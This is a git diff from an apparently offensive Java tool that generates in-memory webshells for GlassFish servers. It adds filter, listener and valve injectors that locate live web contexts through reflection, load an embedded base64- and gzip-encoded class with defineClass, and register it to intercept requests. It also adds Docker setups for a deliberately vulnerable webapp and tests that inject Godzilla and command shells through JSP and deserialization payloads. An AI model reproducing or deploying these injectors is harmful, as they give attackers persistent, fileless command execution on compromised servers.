a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java new file mode 100644 index 00000000..8766192d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java @@ -0,0 +1,224 @@ +package com.reajason.javaweb.memsell.glassfish.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class GlassFishFilterInjector { + Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName()); + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new GlassFishFilterInjector(); + } + + public GlassFishFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + private Object getFilter(Object context) throws Exception { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return filter; + } + + public void addFilter(Object context, Object filter) throws Exception { + String filterName = getClassName(); + // 防止重复注入 + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { + log.warning("filter already exists"); + return; + } + } catch (Exception ignored) { + } + try { + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + log.info("filter added successfully"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java new file mode 100644 index 00000000..480fcba0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java @@ -0,0 +1,206 @@ +package com.reajason.javaweb.memsell.glassfish.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class GlassFishListenerInjector { + Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName()); + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new GlassFishListenerInjector(); + } + + public GlassFishListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + private Object getListener(Object context) throws Exception { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + try { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + log.info("listener added successfully"); + eventListeners.add((EventListener) listener); + }else{ + log.warning("listener already exists"); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java new file mode 100644 index 00000000..75c68e6f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java @@ -0,0 +1,225 @@ +package com.reajason.javaweb.memsell.glassfish.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class GlassFishValveInjector { + + static { + new GlassFishValveInjector(); + } + + public GlassFishValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getValve(context); + if (valve == null) { + continue; + } + injectValve(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + @SuppressWarnings("all") + private Object getValve(Object context) { + Object valve = null; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + valve = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + valve = clazz.newInstance(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + return valve; + } + + @SuppressWarnings("all") + public boolean isInjected(Object context, String valveClassName) throws Exception { + Object obj = invokeMethod(context, "getPipeline"); + Object[] valves = (Object[]) invokeMethod(obj, "getValves"); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(valveClassName)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public void injectValve(Object context, Object valve) throws Exception { + if (isInjected(context, valve.getClass().getName())) { + System.out.println("valve already injected"); + return; + } + try { + Class valveClass; + String valveClassName = "org.apache.catalina.Valve"; + valveClass = context.getClass().getClassLoader().loadClass(valveClassName); + Object obj = invokeMethod(context, "getPipeline"); + invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + ClassLoader catalinaLoader = null; + for (Thread thread : threads) { + // 适配 v5 的 Class Loader 问题 + if (thread.getName().contains("ContainerBackgroundProcessor")) { + catalinaLoader = thread.getContextClassLoader(); + break; + } + } + return catalinaLoader; + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java index 4f28fecb..4a320cdf 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java @@ -43,7 +43,7 @@ class GodzillaTest { .className(className) .clazz(clazz) .build(); - byte[] bytes = GodzillaGenerator.generate(config, shellConfig); + byte[] bytes = new GodzillaGenerator(config, shellConfig).getBytes(); Object obj = ClassUtils.newInstance(bytes); assertEquals(shellConfig.getClassName(), obj.getClass().getName()); assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass")); diff --git a/integration-test/docker-compose/glassfish/docker-compose-3-jdk6.yaml b/integration-test/docker-compose/glassfish/docker-compose-3-jdk6.yaml index e69de29b..6bc3d1a2 100644 --- a/integration-test/docker-compose/glassfish/docker-compose-3-jdk6.yaml +++ b/integration-test/docker-compose/glassfish/docker-compose-3-jdk6.yaml @@ -0,0 +1,11 @@ +services: + glassfish3: + image: reajason/glassfish:3.1.2.2-jdk6 + container_name: glassfish3 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-4-jdk8.yaml b/integration-test/docker-compose/glassfish/docker-compose-4-jdk8.yaml index e69de29b..535b3d3a 100644 --- a/integration-test/docker-compose/glassfish/docker-compose-4-jdk8.yaml +++ b/integration-test/docker-compose/glassfish/docker-compose-4-jdk8.yaml @@ -0,0 +1,11 @@ +services: + glassfish4: + image: reajason/glassfish:4.1.2-jdk7 + container_name: glassfish4 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-5.0.1-jdk8.yaml b/integration-test/docker-compose/glassfish/docker-compose-5.0.1-jdk8.yaml index 83239ea1..6bfc41c8 100644 --- a/integration-test/docker-compose/glassfish/docker-compose-5.0.1-jdk8.yaml +++ b/integration-test/docker-compose/glassfish/docker-compose-5.0.1-jdk8.yaml @@ -1,11 +1,11 @@ services: - glassfish4: - image: harbor.corp.boundaryx.net/cloudrasp/glassfish:4.1.2 - container_name: glassfish4 + glassfish501: + image: reajason/glassfish:5.0.1 + container_name: glassfish501 ports: - "8080:8080" - "5005:5005" environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: - - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-5.1.0.yaml b/integration-test/docker-compose/glassfish/docker-compose-5.1.0.yaml index 6bfc41c8..ac64dc2f 100644 --- a/integration-test/docker-compose/glassfish/docker-compose-5.1.0.yaml +++ b/integration-test/docker-compose/glassfish/docker-compose-5.1.0.yaml @@ -1,11 +1,11 @@ services: - glassfish501: - image: reajason/glassfish:5.0.1 - container_name: glassfish501 + glassfish510: + image: reajason/glassfish:5.1.0 + container_name: glassfish510 ports: - "8080:8080" - "5005:5005" environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: - - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file + - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-6-jdk11.yaml b/integration-test/docker-compose/glassfish/docker-compose-6-jdk11.yaml index ac64dc2f..e3dd3233 100644 --- a/integration-test/docker-compose/glassfish/docker-compose-6-jdk11.yaml +++ b/integration-test/docker-compose/glassfish/docker-compose-6-jdk11.yaml @@ -1,11 +1,11 @@ services: - glassfish510: - image: reajason/glassfish:5.1.0 - container_name: glassfish510 + glassfish626: + image: reajason/glassfish:6.2.6-jdk11 + container_name: glassfish626 ports: - "8080:8080" - "5005:5005" environment: - JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 volumes: - - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file + - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-7-jdk17.yaml b/integration-test/docker-compose/glassfish/docker-compose-7-jdk17.yaml index e3dd3233..869cdd9b 100644 --- a/integration-test/docker-compose/glassfish/docker-compose-7-jdk17.yaml +++ b/integration-test/docker-compose/glassfish/docker-compose-7-jdk17.yaml @@ -1,11 +1,11 @@ services: - glassfish626: - image: reajason/glassfish:6.2.6-jdk11 - container_name: glassfish626 + glassfish7020: + image: reajason/glassfish:7.0.20-jdk17 + container_name: glassfish7020 ports: - "8080:8080" - "5005:5005" environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 volumes: - - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file + - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java index 243f4fd3..6d3a464c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -31,7 +31,7 @@ public class CommandShellTool { try (Response response = okHttpClient.newCall(request).execute()) { String res = response.body().string(); - System.out.println(res); + System.out.println(res.trim()); assertTrue(res.contains("uid=")); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java index 3dc23381..ba3067b0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java @@ -11,7 +11,7 @@ public class DoesNotContainExceptionMatcher extends TypeSafeMatcher { @Override protected boolean matchesSafely(String logs) { - return !logs.contains("Exception"); + return !logs.contains("Caused by:"); } @Override diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java similarity index 79% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish4ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 00b60313..0f3f8642 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -30,7 +31,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; */ @Slf4j @Testcontainers -public class Glassfish3ContainerTest { +public class GlassFish3ContainerTest { public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6"; @Container @@ -41,14 +42,18 @@ public class Glassfish3ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException // arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] +// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java similarity index 76% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish510ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index d940a84f..81c54958 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.glassfish.GlassFishShell; import com.reajason.javaweb.memsell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -30,13 +31,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; */ @Slf4j @Testcontainers -public class Glassfish501ContainerTest { - public static final String imageName = "reajason/glassfish:5.0.1"; +public class GlassFish4ContainerTest { + public static final String imageName = "reajason/glassfish:4.1.2-jdk7"; @Container public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") + 